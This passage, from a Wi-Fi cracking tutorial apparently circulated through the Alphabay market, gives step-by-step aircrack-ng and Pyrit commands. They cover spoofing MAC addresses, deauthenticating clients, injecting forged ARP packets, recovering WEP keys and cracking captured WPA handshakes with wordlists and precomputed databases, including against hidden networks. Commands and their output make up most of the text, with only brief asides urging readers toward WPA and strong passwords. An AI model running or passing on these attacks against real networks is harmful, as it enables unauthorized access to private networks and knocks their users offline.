  612. After you perform a deauthentication look to the top line in airodump-ng window there
  613. is now a text saying “140 bytes keystream: 00:80:5A:28:B5:AB”
  614. This means we have captured the .xor file we were looking for to perform a
  615. fake authentication.
  616. Use the following command:
  617. #aireplay-ng -1 0 -a 00:80:5A:28:B5:AB -c 00:15:AF:A2:8D:98
  618. -y sharedkey-01-00:80:5A:28:B5:AB.xor wlan0
  619. With this we’ve managed to fake authenticate in a Shared Key network.
  620. 26
  621. Arciduca - Alphabay
  622. Mac Filtering
  623. In some cases you might find some security barriers, like MAC Filtering, which is still
  624. easy to break. Imagine that you are trying to Fake Authenticate with an AP and you are
  625. getting an Error like this:
  626. MAC Filtering is enabled on this network. To get through this security trick we need a
  627. legit MAC Address which have permission to connect with the AP.
  628. Run airodump-ng and wait until someone connects to that network or if someone’s
  629. already connected use it’s MAC Address to spoof your own.
  630. As we can see there is one Client connected to WLAN, it’s MAC is
  631. 00:15:AF:A2:8D:98. Let’s turn it as our own MAC Address as well:
  632. 27
  633. Arciduca - Alphabay
  634. #macchanger -m 00:15:AF:A2:8D:98 wlan1
  635. This command will change Wlan1 device MAC Address into 00:15:AF:A2:8D:98.
  636. Even if the client keeps connected to the Network you can begin to fake authenticate.
  637. #aireplay-ng -1 10 -a 00:80:5A:28:B5:AB -h 00:15:AF:A2:8D:98 mon0
  638. This time don’t forget to use the spoofed MAC in -h option.
  639. This brief explanation on what is Fake Authentication will help you in WEP Cracking
  640. that we will see later in this tutorial. With this information you shouldn’t have any
  641. trouble by doing this trick and performing WEP Cracking.
  642. 28
  643. Arciduca - Alphabay
  644. Cracking WEP with a client connected (OPEN System)
  645. The weakness of WEP resides in the IV. It is sent as plaintext with the packet which
  646. basically means that anyone who grabs the packet can see the first 24bits of the code
  647. that was encrypted. The RC4 encryption algorithm can only generate about 16 million
  648. different codes based on the IV, meaning if you gather enough of these IVs you can
  649. crack the code throughout a brute force attack. Also contributing to the WEP’s weakness
  650. is the discovery that some IVs are weaker than others and software can recognize
  651. “weak” IVs and then use them to crack the key even quicker.
  652. Once the theory of how to Crack WEP was proven possible, computer programs were
  653. written that streamlined the process. There are two steps involved that programs take.
  654. Once an encrypted wireless network is found and the client is in range, it begins to
  655. intercept packets and logging the IVs. The packets contain encrypted data and are
  656. worthless individually, but if enough IVs are logged the code can be cracked. Usually
  657. about 50 000 IVs are needed to crack WEP. The number of IVs traveling is related to
  658. network traffic, so if no one is connected to the network it will take days to get that
  659. many, that’s why you need to create artificial traffic, but in the other hand if someone is
  660. already connected you can get a lot of IVs fast without any problems.
  661. Of course there is a method of speeding up the collection of IVs, through a certain type
  662. of packet injection although this technique it’s not supported by all Wireless Cards.
  663. This type of packet injection is called ARP injection. With this technique the wireless
  664. card sends out an ARP request to the access point which then responds with an ARP
  665. response. This response contains an IV, which is then captured. This process is repeated
  666. rapidly to generate numerous IVs. To perform this injection, the origin of the ARP
  667. request must be associated with the AP, or else the AP will not respond. Software is able
  668. to spoof the origin to make the request look like it came from an associated client, not
  669. from the attacker’s computer.
  670. As I told you I will be using a wireless security suite called aircrack-ng that comes with
  671. Backtrack Linux distribution for WEP attacks. Aircrack-ng contains all the tools
  672. necessary for discovering and cracking wireless networks.
  673. First let’s try to break a network with a connected client.
  674. Once a network has been identified through any technique the basic steps to crack WEP
  675. encrypted networks, and the programs used to accomplish with are:
  676. 1) Put the wireless card in passive monitor mode (airmon-ng)
  677. 2) Begin capturing packets that contain unique IVs and save them to the disk
  678. (airodump-ng)
  679. 3) Inject ARP requests from an associated client to generate new packets (aireplayng)
  680. 29
  681. Arciduca - Alphabay
  682. 4) Once enough IVs have been captured, run a cryptographic attack to decipher the
  683. WEP key (aircrack-ng)
  684. In this case, I will attack my own network so it is like if the attacker, me, had already
  685. identified the WEP encrypted network he wants to crack. The information he will need
  686. to start collecting IVs is the BSSID of the access point and the channel it is operating
  687. on. When this information is easy to get using airodump-ng and it will also be used to
  688. capture the IVs and save them to a file. In this case the BSSID of the network we are
  689. trying to crack 00:80:5A:28:B5:AB is, the channel is 11, and we will call the output file
  690. wepkey.
  691. Let’s put our card in monitor mode, but first you need to know the Interface to use:
  692. #airmon-ng
  693. Figure 1. Using Airmon-ng
  694. You have now a list of interfaces that you have on your machine. If you have only one
  695. wireless card you will have only one interface, if you have two wireless cards connected
  696. you have two interfaces. I might use different cards through all the tutorials, when you
  697. see wlan1 and your Interface is wlan0 you use wlan0 instead of wlan1.
  698. Remember I’m making the attacks on my machine and it could be different from yours.
  699. So I will use wlan1 for this tutorial. To put that Interface on monitor mode use:
  700. #airmon-ng start wlan0
  701. By now you have the wlan1 Interface and the system created a new interface called
  702. mon0. Well this is a virtual interface, basically “mon” comes from monitor it means
  703. that the interface mon0 is monitoring traffic.
  704. When you are using the commands you could use mon0 instead of wlan1, it doesn’t
  705. make difference. Let’s go back to the tutorial…
  706. 30
  707. Arciduca - Alphabay
  708. Now let’s sniff traffic from the network that we will attack, so use:
  709. #airodump-ng wlan0
  710. Figure 2. Using Airodump-ng to check for the network to attack
  711. As I told you before this network I’m attacking is mine. My network is called WLAN so
  712. by using airodump-ng I already know the BSSID, the Channel. Let’s get started:
  713. #airodump-ng --channel 11 --bssid 00:80:5A:28:B5:AB --write wepkey wlan0
  714. Figure 3. Using Airodump-ng on the target network
  715. As we can see the “#Data” means the number of unique IVs we caught so far and saved
  716. in wepkey.cap. It is possible that airodump-ng create some .pcap files like wepkey01.cap, wepkey-02.cap, that’s why in the end we will use in aircrack-ng “wepkey*.cap”.
  717. 31
  718. Arciduca - Alphabay
  719. The “#/s” is the number of Unique IVs that we get per second. As you can see there is
  720. no traffic at all in this network and doing the math if we will try to get 50 000 IVs, we
  721. would need to wait 25 000 seconds, almost 7 hours to get enough IVs, so why don’t we
  722. start a packet injection technique to speed up the unique IVs collection?
  723. We can do that using aireplay-ng:
  724. #aireplay-ng --arpreplay -b 00:80:5A:28:B5:AB -h 00:15:AF:A2:8D:98 wlan0
  725. -b 00:80:5A:28:B5:AB is the access point MAC address
  726. -h 00:15:AF:A2:8D:98 is the MAC address of the client that we will use as the “arp
  727. requester”
  728. This command will wait for an ARP Request coming from the network and flood the
  729. airwaves with that ARP request but making it look like it is coming from the associated
  730. client. An ARP request is when for example the router asks something like “Who got
  731. this ip?” and a computer answers “I got that IP, here is my MAC Address:
  732. A1:B2:C3:D4:E5:F5”.
  733. So if you are attacking a network that has only one client connected it could take a
  734. while until you get an Arp request. If there is traffic coming from the network you might
  735. have a chance to get it the simple way. Imagine the situation, there is a client connected
  736. but he is not doing anything like if it was on “stand-by” mode, you can make it the hard
  737. way by deauthenticating the client using the network forcing him to communicating
  738. with the router. Use the following command:
  739. #aireplay-ng -0 10 -a 00:80:5A:28:B5:AB -h 00:15:AF:A2:8D:98 wlan0
  740. -0 means deauthentication attack
  741. 10 is the number of deauthentication packets it will send
  742. -a 00:80:5A:28:B5:AB is the access point MAC address
  743. -h 00:15:AF:A2:8D:98 is the MAC address of the client to be deauthenticated
  744. When the client gets back to the network you will get some ARP requests. Well this is a
  745. simple process. You a Arp Request and you Replay it. That’s what “aireplay-ng -3” or
  746. “aireplay-ng --arpreplay” is doing. It waits for an ARP Request and replay, it gets
  747. another one and Replay it again. And keeps doing it and consequently generating traffic
  748. on the network. Remember that the traffic we are collecting are nothing but packets
  749. collecting IVs that we will use to brute force the wep key.
  750. 32
  751. Arciduca - Alphabay
  752. Figure 4. Capturing Packets Airodump-ng
  753. After you get the first Arp request you should be getting something like the image
  754. above. It’s just a matter of time until you get enough IVs to make a brute force attack.
  755. Once you get around 50 000 you have a good chance of crack the network.
  756. However if you fail, just repeat the process. Get more IVs and try again. You’ll need
  757. more IVs depending on how big is the key. There are 64-bit keys, 128-bit keys and 152-
  758. bit keys, more bits means more password combinations possible and we might need
  759. more IVs to crack the password. So if you fail with 50 000 get more IVs and you will
  760. get the key.
  761. As you know the captured data packets containing IVs are stored in the file that I called
  762. wepkey outputted by airodump-ng. The program will write multiple files to the active
  763. directory in different formats, but the one we are interested is the .cap files.
  764. To perform the crack use wepkey*.cap since it could write more than one .cap file, for
  765. example wepkey-01.cap, wepkey-02.cap…
  766. The attack starts with this command:
  767. #aircrack-ng -b 00:80:5A:28:B5:AB wepkey*.cap wlan0
  768. 33
  769. Arciduca - Alphabay
  770. Figure 5. Using Brute force to crack WEP
  771. So as you can see it found the WEP key of the network. The key I used for this example
  772. was “abcdef1234” and as you see in aircrack-ng output “KEY FOUND!
  773. [AB:CD:EF:12:34]”
  774. This was the example of how to break a WEP network with an already authenticated
  775. client. When you don’t have any clients connected to the network you want to break,
  776. you should do a different type of attack, let’s find out how we can do it.
  777. The best way to avoid someone to get access to your
  778. network it’s definitely not using WEP Encryption. Use
  779. WPA.
  780. 34
  781. Arciduca - Alphabay
  782. Cracking WEP without connected clients (OPEN System)
  783. Let’s see now how to do it if no one is connected to the Network.
  784. This type of attack is only successful when we get some packets from the wired side of
  785. the network. I mean it’s true that there are no clients connected over wireless, however
  786. the AP has RJ45 ports and we need to get some traffic from there. Why?
  787. Well, if there is no traffic there is no way possible to create traffic. You can try but the
  788. AP will deduce that anyone is broadcasting traffic, but the client it’s not connected to
  789. the network and the AP will throw away those packets and send a deauthentication
  790. packet to that fake client.
  791. However if we get some packets from the wired side and using either a chopchop attack
  792. or a fragmentation attack we can get a fragment, which is a .xor file that contains useful
  793. information that we could use to create an a packet to broadcast to the AP and it will
  794. provoke the AP to answer with new packets (IVs).
  795. That fake packet is received successfully by the AP because it sees that the information
  796. contained on that packet is valid.
  797. After we create that legit packet and injecting it in the air you will be able to resume the
  798. attack as we did before using a client connected. When we got enough IVs, it’s time to
  799. crack the password.
  800. So, let’s get started. First, put the wireless card in monitor mode. You know the drill:
  801. #airmon-ng start wlan0
  802. Then use:
  803. #airodump-ng --bssid 00:80:5A:28:B5:AB -c 11 wlan0
  804. By now you don’t really need to use the “-w” parameter because you might get few
  805. packets. It’s up to you.
  806. Let’s now associate with an access point, using a fake authentication:
  807. #aireplay-ng -1 0 -e WLAN -a 00:80:5A:28:B5:AB -h 74:EA:3A:90:C7:21 wlan0
  808. -1 means fake authentication attack
  809. 0 means the fake authentication attack won’t stop until its succeeded
  810. -e WLAN is the wireless SSID
  811. 35
  812. Arciduca - Alphabay
  813. -a 00:80:5A:28:B5:AB is the access point MAC address
  814. -h 74:EA:3A:90:C7:21 is our card MAC address
  815. Figure 6. Perform a Fake Authentication
  816. So I succeeded to perform a fake authentication into the AP.
  817. Now I need to obtain the PRGA (Pseudo Random Generation Algorithm) file. To
  818. obtain it we will need to perform a chopchop attack or a fragmentation attack.
  819. This PRGA is not the WEP key and cannot be used to decrypt packets. However, it can
  820. be used to create new packets for injection. The creation of new packets will be covered
  821. later in the tutorial.
  822. Either chopchop or fragmentation attacks can be used to obtain the PRGA bit file. The
  823. result is the same, so use one of them, it doesn’t really matter which one you used.
  824. I will cover the chopchop technique. Start another console session and run:
  825. #aireplay-ng -4 -b 00:80:5A:28:B5:AB -h 74:EA:3A:90:C7:21 wlan0
  826. -4 means the chopchop attack
  827. -b 00:80:5A:28:B5:AB is the access point MAC address
  828. -h 74:EA:3A:90:C7:21 is the MAC address of our card and must match the MAC used
  829. in the fake authentication
  830. wlan0 is the wireless interface name
  831. 36
  832. Arciduca - Alphabay
  833. Figure 7. Performing chopchop attack
  834. So after you perform a fake authentication you need to wait until you get a packet to
  835. perform an attack, I kept a console window performing fake authentications at every
  836. second as you can see, so I don’t get deauthenticated by any reason and another one
  837. with the chopchop attack waiting for a packet to start.
  838. When the console asks you “Use this packet?” press “y” and then ENTER to start the
  839. chopchop attack.
  840. Figure 8. Result of chopchop attack
  841. 37
  842. Arciduca - Alphabay
  843. Wait a few seconds for the chopchop attack to make its magic. The file “replay_dec0917-223734.xor” as you can see above can now be used in the next step to generate an
  844. Arp packet.
  845. The objective is to have the access point rebroadcast the injected Arp packet. When it
  846. rebroadcasts it, a new IV is obtained. All these new IVs will ultimately be used to crack
  847. the WEP key.
  848. Use the following command:
  849. #packetforge-ng -0 -a 00:80:5A:28:B5:AB -h 74:EA:3A:90:C7:21 -k 255.255.255.255 -l
  850. 255.255.255.255 -y replay_dec-0917-223734.xor -w arp-request
  851. -0 means generate an arp packet
  852. -a 00:80:5A:28:B5:AB is the access point MAC address
  853. -h 74:EA:3A:90:C7:21 is MAC address of our card
  854. -k 255.255.255.255 is the destination IP (most APs respond to 255.255.255.255)
  855. -l 255.255.255.255 is the source IP (most APs respond to 255.255.255.255)
  856. -y replay_dec-0917-223734.xor is file to read the PRGA from
  857. -w arp-request is name of file to write the arp packet to
  858. The system will respond: “Wrote packet to: arp-request”
  859. Let’s close the console running airodump-ng and open a new one and start airodump-ng
  860. again. This time you need to add the “-w” parameter so we can save the IVs we will
  861. generate to a file. If you used it already in the first one then you don’t need to close it.
  862. So use airodump-ng like this:
  863. #airodump-ng --bssid 00:80:5A:28:B5:AB -c 11 -w wepkey wlan0
  864. Let’s call that file, wepkey.
  865. On the console window you used to create the packet use this command:
  866. #aireplay-ng -2 -b 00:80:5A:28:B5:AB -h 74:EA:3A:90:C7:21 -r arp-request wlan0
  867. After you start injecting arp requests from the packet you just created, the cracking
  868. process will be just like cracking WEP with a previous associated client.
  869. This will inject the packet we created in the air. After that the system will ask you if you
  870. want to use that packet, press “y” and ENTER to start injecting arp requests.
  871. 38
  872. Arciduca - Alphabay
  873. Figure 6. Injecting artificial packets
  874. As you can see now we are getting a lot of data (IVs).
  875. Remember once again, when you get around 50 000 IVs you have a good chance of
  876. crack the network.
  877. Don’t worry if you fail, try again with more IVs. Remember that you’ll need more IVs
  878. depending on how big is the key. There is no way to determine the size of the key so try
  879. with 50 000 if you fail try with 200 000 and if you fail get more, and you’ll get there.
  880. The point here is that you are doing it the right way if you fail is for bad luck and not
  881. because you’re doing it wrong.
  882. All of the captured data packets containing IVs are stored in the file that I called wepkey
  883. outputted by airodump-ng. The program will write multiple files to the active directory
  884. in different formats, but we are looking for .cap files.
  885. Airodump-ng creates more than one .cap file, I mean it creates wepkey-01.cap, wepkey02.cap…
  886. So, when you’re ready, use the command:
  887. #aircrack-ng -b 00:80:5A:28:B5:AB wepkey*.cap
  888. 39
  889. Arciduca - Alphabay
  890. Figure 7. Using aircrack-ng to get the WEP key
  891. So as you can see it found the WEP key of the network. The key I used for this example
  892. was “1234567890” and as you see in aircrack-ng output “KEY FOUND!
  893. [12:34:56:78:90]”
  894. As I told you before do not use WEP, although it is
  895. better than nothing it is an unsecure method to
  896. protect your network.
  897. 40
  898. Arciduca - Alphabay
  899. Cracking WEP (Shared Key)
  900. So, now let’s crack a WEP network using Shared Key system.
  901. For this example we will always need a connected client. If the network doesn’t have a
  902. connected client just wait until someone connects to the network. We need someone
  903. from inside the network to show up because we will need a 140 bit keystream that will
  904. allow us to fake an authentication. Without that we cannot authenticate. Remember that
  905. Open System authentication and Shared Key works different.
  906. So after we authenticate we need to perform a fragmentation or a chopchop attack to
  907. get a fragment to create a packet to inject in the airwaves. After that is like cracking
  908. WEP with Open System. Wait and get enough IVs to crack the password.
  909. First of all, as always, put your wireless card in monitor mode.
  910. #airmon-ng start wlan0
  911. Then let’s search for our network, WLAN will be the target Network.
  912. #airodump-ng -c 11 --bssid 00:80:5A:28:B5:AB -w wepska wlan0
  913. Figure 8. Using airodump-ng to scan for networks
  914. Using this we will sniff all the packets from WLAN network and save them in files
  915. called wepska. We will need to perform a deauthentication on an authenticated client in
  916. order to capture the shared key 140 bit keystream.
  917. 41
  918. Arciduca - Alphabay
  919. Figure 9. Performing a deauth to a client
  920. After you perform a deauthentication look to the top line in airodump-ng window there
  921. is now a text saying “140 bytes keystream: 00:80:5A:28:B5:AB”
  922. This means we have captured the .xor file we were looking for to perform a
  923. fake authentication.
  924. Use the following command:
  925. #aireplay-ng -1 0 -a 00:80:5A:28:B5:AB -c 00:15:AF:A2:8D:98
  926. -y wepska-01-00:80:5A:28:B5:AB.xor wlan0
  927. Remember to always change the packets name from what I have to what you get. They
  928. might be different.
  929. Figure 10. Performing a Fake authentication
  930. 42
  931. Arciduca - Alphabay
  932. Now we will perform a fragmentation attack. Use the next command:
  933. #aireplay-ng -5 -a 00:80:5A:28:B5:AB wlan0
  934. Figure 11. Performing a fragmentation in order to get a fragment of a packet to
  935. create an arp-request
  936. Wait until you get a packet to use in the attack. When the system asks you “Use this
  937. packet?” press “y” and then ENTER to use it, and you will get a fragment that we will
  938. use to create an Arp Request.
  939. Basically this is the same that we did before on WEP Open System without connected
  940. clients.
  941. Figure 12. Getting the fragment
  942. 43
  943. Arciduca - Alphabay
  944. As you can see in the output of the fragmentation attack you got now a file
  945. called fragment-0921-140138.xor or something similar.
  946. Let’s now create an arp-request. Use the following command:
  947. #packetforge-ng -0 -a 00:80:5A:28:B5:AB -h 74:EA:3A:90:C7:21 -k 255.255.255.255
  948. -l 255.255.255.255 –y fragment-0921-140138.xor -w arp-request
  949. This command will create an arp-request based in that fragment. Now we need to inject
  950. that packet in the airwaves and it will provoke the AP to respond to them with new IVs.
  951. #aireplay-ng -2 -b 00:80:5A:28:B5:AB -h 74:EA:3A:90:C7:21 -r arp-request wlan0
  952. You should have the “airodump-ng” window sniffing them and saving the files, as I
  953. used above those packets are being saved in the file “wepska*.cap”. When we got
  954. enough IVs we will crack the WEP key. When we get around 50000 IVs use the
  955. following command:
  956. Figure 13. Sending the arp-request
  957. Ok, when you got enough IVs let’s perform the bruteforce attack:
  958. #aircrack-ng -b 00:80:5A:28:B5:AB wepska*.cap
  959. 44
  960. Arciduca - Alphabay
  961. Figure 14. Using aircrack-ng
  962. As you can see the key was successfully cracked. The key for this example as
  963. 1234567890 and as you can see in the image “KEY FOUND: [12:34:56:78:90]. So this
  964. is everything about WEP. Let’s see now the WPA part of this tutorial.
  965. Even being trickier to hack, WEP using Shared Key
  966. encryption is still an unsecure Encryption to use on
  967. your network. WPA is the solution
  968. 45
  969. Arciduca - Alphabay
  970. Cracking WPA with Dictionary Attack (Aircrack-ng)
  971. After WEP was proven to be completely breakable, WPA emerged as its successor, it
  972. uses a much more advanced algorithm and does not have IVs. It doesn’t matter if you
  973. collect a big amount of packets, you can’t crack it that way.
  974. Most consumers use what is called WPA Personal, which utilizes a pre-shared key
  975. (PSK), which is a common key shared across all devices used for authentication.
  976. When a client wants to associate with a WPA encrypted network, a four-way handshake
  977. takes place. Briefly what occurs is the client first seeks association with the AP, the AP
  978. sends the client a bit of data which the client encrypts using the passphrase, SSID and
  979. some other data. The client sends this back to the AP which then encrypts that. If it
  980. match up the AP installs the main key on the client which is successfully associated and
  981. able to decrypt the packets.
  982. The packets are encrypted with this key, not the passcode. This is known as the fourway handshake between a client and the AP.
  983. Unlike WEP, there is not enough information contained in the packets to find the key.
  984. No matter how long an attacker sniffs the network and intercepts packets, he will never
  985. be able to crack the passphrase. However, within the four-way handshake, there is
  986. enough information to brute-force the passphrase.
  987. The basic steps for cracking a WPA Personal encrypted network are:
  988. 1) Discover the network and be within range to intercept packets.
  989. 2) Start sniffing the network for the four way handshake and capture it when it arises.
  990. 3) Wait for a new client to authenticate or deauthenticate a current client.
  991. 4) Brute force the captured handshake file with a dictionary file.
  992. So the first thing to do is to put your Wireless card on monitor mode:
  993. #airmon-ng start wlan0
  994. So next you will search for networks within range to intercept and inject packets.
  995. #airodump-ng wlan0
  996. 46
  997. Arciduca - Alphabay
  998. Figure 15. Using airodump-ng
  999. So let’s break into WLAN.
  1000. WLAN’s BSSID it is 00:80:5A:28:B5:AB, it’s all that we need to start sniffing packets
  1001. waiting for the four-way handshake. To begin sniffing use the following command:
  1002. #airodump-ng --bssid 00:80:5A:28:B5:AB –w wpakey wlan0
  1003. So we are now sniffing packets from WLAN network and saving them (-w) into a file
  1004. named wpakey. Just like for WEP networks we will need that file later and once again we
  1005. are interested in the *.cap file.
  1006. So, right know you either wait for a new client to connect to the network if no one is
  1007. connected already or you can deauthenticate that client forcing him to authenticate again
  1008. and by doing this you sniff the four-way handshake between the client and the Wireless AP.
  1009. Let’s make it with an authenticated client already with the following MAC Address:
  1010. 00:15:AF:A2:8D:98.
  1011. Figure 16. Looking for a client to deauth
  1012. 47
  1013. Arciduca - Alphabay
  1014. So let’s deauthenticate the client with the next command:
  1015. #aireplay-ng --deauth 25 –a 00:80:5A:28:B5:AB –c 00:15:AF:A2:8D:98 wlan1
  1016. When the client connects again, you will get the four-way handshake, you can see in
  1017. airodump-ng window that you got it in the top right side of the console window.
  1018. Figure 17. Sending Deauth packets
  1019. The number after --deauth is the number of deauthentication packets aireplay-ng will send.
  1020. A higher number will increase the probability of it working, but is less stealthy.
  1021. The deauthentication was done and now we have got the four-way handshake.
  1022. Once the handshake has been captured, the attacker can stop capturing all packets. The
  1023. information contained in the handshake is all that is needed to crack to WPA passphrase.
  1024. Once the attacker has the handshake it is possible to crack the passphrase through brute
  1025. force or dictionary techniques. This technique uses a word list and goes through each
  1026. word one at a time, encrypting it with the other data gathered (the SSID and others) to
  1027. see if it matches. When a match occurs, the word from the list is the passphrase used.
  1028. This can be extremely “time consuming” depending on the complexity of the
  1029. passphrase, the size of the dictionary file and the speed of your CPU. An attacker is
  1030. limited by his processor speed to how many passwords he can try per second.
  1031. With dictionary files containing millions and millions of different combinations of
  1032. letters and words, the process could take a very long time.
  1033. 48
  1034. Arciduca - Alphabay
  1035. Fortunately, most consumers choose simple, easy to remember passphrases that can be
  1036. decrypted using smaller dictionary files containing common names and passwords.
  1037. The program aircrack-ng can be used to crack the handshake. The attacker must have a
  1038. word list on his system. Backtrack includes several wordlists of different sizes, and
  1039. larger ones can be downloaded from the internet.
  1040. To use a word list with aircrack-ng and our captured handshake use this command:
  1041. #aircrack-ng -w /pentest/passwords/wordlists/wpa.txt wpakey*.cap
  1042. The output will look like this when aircrack-ng gets the password:
  1043. Figure 18. Key found w/ Dictionary attack
  1044. It took a little bit more than 20 minutes to discover the Wireless AP passphrase. The
  1045. attacker has now the ability to get inside the network. It took 954864 guesses to
  1046. discover the password. The dictionary file that I used it could be considered as a big
  1047. dictionary, you might not be able to avoid a successful attack by a determined attacker,
  1048. but you sure can make his work a lot harder if you use a strong password.
  1049. 49
  1050. Arciduca - Alphabay
  1051. Cracking WPA using Pyrit’s Database Attack
  1052. The next type of attack that I’ll cover is a type of attack where you could import many
  1053. dictionaries to data base and then perform an attack with all the passwords on that
  1054. database. So first let’s install a suite called pyrit because it is not included in Backtrack.
  1055. Installing pyrit
  1056. Do the following at the terminal:
  1057. svn checkout http://pyrit.googlecode.com/svn/trunk/ pyrit_svn
  1058. Then do this:
  1059. sudo apt-get install libssl-dev
  1060. sudo apt-get install scapy sudo
  1061. apt-get install python-dev
  1062. Browse to pyrit directory:
  1063. cd /pyrit_svn/pyrit
  1064. And type:
  1065. sudo python setup.py build
  1066. sudo python setup.py install
  1067. Ok, now you have Pyrit installed and it should be up and running.
  1068. I will be use Pyrit with aircrack-ng.
  1069. So first of all, put the wireless card in monitor. Let’s use aircrack-ng suite until we got
  1070. the handshake.
  1071. First use:
  1072. #airmon-ng start wlan0
  1073. Then use:
  1074. #airodump-ng wlan0
  1075. 50
  1076. Arciduca - Alphabay
  1077. Figure 19. Using airodump-ng
  1078. So at this point you should get all the information about the network you will try to
  1079. attack. For this example we will attack a WPA encrypted network with WLAN as the
  1080. ESSID, 00:80:5A:28:B5:AB as the BSSID and performing in channel 11.
  1081. Now we should begin sniffing only this network by using the following command:
  1082. #airodump-ng –bssid 00:80:5A:28:B5:AB –c 11 -2 wpahandshake wlan0
  1083. This will sniff the packets from WLAN and save them in a file called wpahandshake.
  1084. Once again I remember that we will be looking for the *.cap file in the end.
  1085. If a client is connected to the network make a deauthentication attack so the client needs
  1086. to re-authenticate and you get the handshake or if no one is connected, wait for someone
  1087. to do it.
  1088. #aireplay-ng -0 10 -a 00:80:5A:28:B5:AB -c 00:15:AF:A2:8D:98 wlan1
  1089. Now that you have the handshake, let’s use pyrit.
  1090. Let’s analyze our handshake file, use the following command in the command line:
  1091. #pyrit wpahandshake*.cap analyze
  1092. Note that wpahandshake*.cap is the name of the files that airodump-ng save with
  1093. packets sniffed from the “victims” network, they could be wpahandshake-01.cap,
  1094. wpahandshake-02.cap…
  1095. You should get a window like this:
  1096. 51
  1097. Arciduca - Alphabay
  1098. Figure 20. Analyzing handshake with Pyrit
  1099. The output is that the Access Point have the mac 00:80:5A:28:B5:AB with WLAN as
  1100. the ESSID.
  1101. It also says that the file captured an handshake from the client with mac address
  1102. 00:15:AF:A2:8D:98.
  1103. So now let’s start working with Pyrit’s database.
  1104. As you may know guessing the password used in WPA-PSK and WPA2-PSK is a
  1105. computational intensive task. During this process, 100% of your CPU is being used to
  1106. compute what is known as the Pairwise Master Key, a 256bit key derived from the
  1107. ESSID and a Password using the PBKDF2-HMAC-SHA1 algorithm. One of the major
  1108. weaknesses of the WPA-PSK is that the Pairwise Master Key has no elements that are
  1109. unique to the moment of the key-negotiation between Access Point and Sation. It is
  1110. therefore possible to pre-compute the Pairwise Master Key and store it for later use.
  1111. This is where Pyrit’s database kicks in. It can store ESSIDs, passwords and their
  1112. corresponding Pairwise Master Keys, possibly growing to the size of hundreds of
  1113. millions of entries. Starting with a fresh installation of Pyrit, your database will most
  1114. probably be empty.
  1115. Issue the following command to get an overview:
  1116. #pyrit eval
  1117. And you will get this output:
  1118. 52
  1119. Arciduca - Alphabay
  1120. root@bt:~# pyrit eval
  1121. Pyrit 0.4.1-dev (svn r308) (C) 2008-2011 Lukas Lueg
  1122. http://pyrit.googlecode.com This code is distributed under the GNU
  1123. General Public License v3+
  1124. Connecting to storage at 'file://'...
  1125. connected. Passwords available: 0
  1126. Let’s use a command to import some passwords to our database:
  1127. #pyrit –i /pentest/passwords/wordlists/wordlist.txt import_passwords
  1128. Note that “/pentest/passwords/wordlists/wordlist.txt” is the path where I have stored a wordlist,
  1129. you can use dozens of dictionary files, pyrit ensures that duplicate passwords are not stored
  1130. again in the database, it also doesn’t store passwords that are not suitable as a WPA/WPA2
  1131. password.
  1132. After you imported the passwords to the database, use this command again:
  1133. #pyrit eval
  1134. You should get an output like this:
  1135. Pyrit 0.4.1-dev (svn r308) (C) 2008-2011 Lukas Lueg
  1136. http://pyrit.googlecode.com This code is distributed under the GNU
  1137. General Public License v3+
  1138. Connecting to storage at 'file://'...
  1139. connected. Passwords available: 989532
  1140. Now that we have some passwords in the database, we have to create an ESSID, for that, use the
  1141. following command:
  1142. #pyrit –e WLAN create_essid
  1143. Note that WLAN is our “victims” ESSID
  1144. Pyrit output will say that ESSID WLAN was created successfully and if you use the
  1145. “eval” command again it will show you that WLAN’s ESSID don’t have any password precomputed.
  1146. So we have already some passwords in the database, and we have an ESSID created, we need to
  1147. pre-compute the passwords to use with that ESSID. This process could take some minutes. It
  1148. depends on how many passwords you have imported to the database.
  1149. To pre-compute the passwords with the ESSID you just created use this command:
  1150. #pyrit batch
  1151. Pyrit will give the output “Batchprocessing done” when it completes the process.
  1152. 53
  1153. Arciduca - Alphabay
  1154. We can now use the Pairwise Master Keys stored in the database to attack the same
  1155. handshake as in the example above. Instead of running a “passthrough-attack”, where
  1156. the database is not touched at all, we issue a “database-attack” like the following:
  1157. #pyrit –r wpahandshake*.cap attack_db
  1158. Don’t forget that wpahandshake*.cap is the file where the handshake is stored and that
  1159. “-r” parameter tells pyrit to read the file wpahandshake*.cap. So you should have the
  1160. following output.
  1161. Figure 21. Cracking WPA with Pyrit database attack
  1162. This process is much faster than a dictionary attack, as you can see the image above
  1163. Pyrit was trying 515375 passwords per second and gave us in the output that the
  1164. password is “security”. This process only takes more time pre-computing the passwords
  1165. with the ESSID, but will be useful when you have to use many dictionaries at the same
  1166. time.
  1167. Alright, I’ve been telling you to use WPA and still it got
  1168. hacked. However it would take ages to hack a good
  1169. PSK with a HUGE dictionary. So always use a strong
  1170. password.
  1171. 54
  1172. Arciduca - Alphabay
  1173. Cracking a Network with Hidden ESSID (aircrack-ng + pyrit)
  1174. Cracking a network with a hidden ESSID is pretty simple, you have done already all the
  1175. steps in order to do it. It is possible to do it only with aircrack-ng, the reason I’ve made
  1176. it with aircrack-ng and pyrit is because I’ve already have the ESSID WLAN, which is
  1177. the ESSID I’ve been using in these tutorials, programmed in pyrit’s database, which
  1178. makes the process faster than using aircrack-ng’s dictionary attack. So, do not think that
  1179. it is only possible with pyrit. So, let’s get going… I’ll show it on a WPA network, if you
  1180. will try on a WEP network it’s the same, but you need to perform the deauthentication
  1181. and then go back to WEP’s method.
  1182. The first step in all of our tutorials:
  1183. #airmon-ng start wlan0
  1184. After this lets search for networks:
  1185. #airodump-ng wlan0
  1186. Figure 22. Searching for the network that has an hidden essid
  1187. As you can see there is a network with a strange ESSID, it is something like <length: 1>
  1188. This is a hidden ESSID, and we’ll be able to what is the real ESSID by performing a
  1189. deauthentication to one of the connected clients.
  1190. Let’s sniff only the hidden network’s packets:
  1191. #airodump-ng --bssid 00:80:5A:28:B5:AB -c 11 -w hiddenwpa wlan0
  1192. Let’s deauthenticate a client now:
  1193. #aireplay-ng -0 10 –a 00:80:5A:28:B5:AB –c 00:15:AF:A2:8D:98 wlan0
  1194. 55
  1195. Arciduca - Alphabay
  1196. So, now that you deauthenticated a client you should have something like this:
  1197. Figure 23. Performing a deauthentication to a client to uncover the ESSID
  1198. and to obtain an handshake
  1199. As you can see the network ESSID now changed to WLAN, by doing this we also got a
  1200. handshake so let’s now crack the password:
  1201. #pyrit -e WLAN -r hiddenwpa-01.cap attack_db
  1202. Figure 24. Getting network's password with pyrit
  1203. This time we needed to add the “-e” parameter since it’s an hidden ESSID, pyrit can’t
  1204. guess it. And we have the password, it is security.
  1205. Hiding the ESSID is not enough.
  1206. 56
  1207. Arciduca - Alphabay
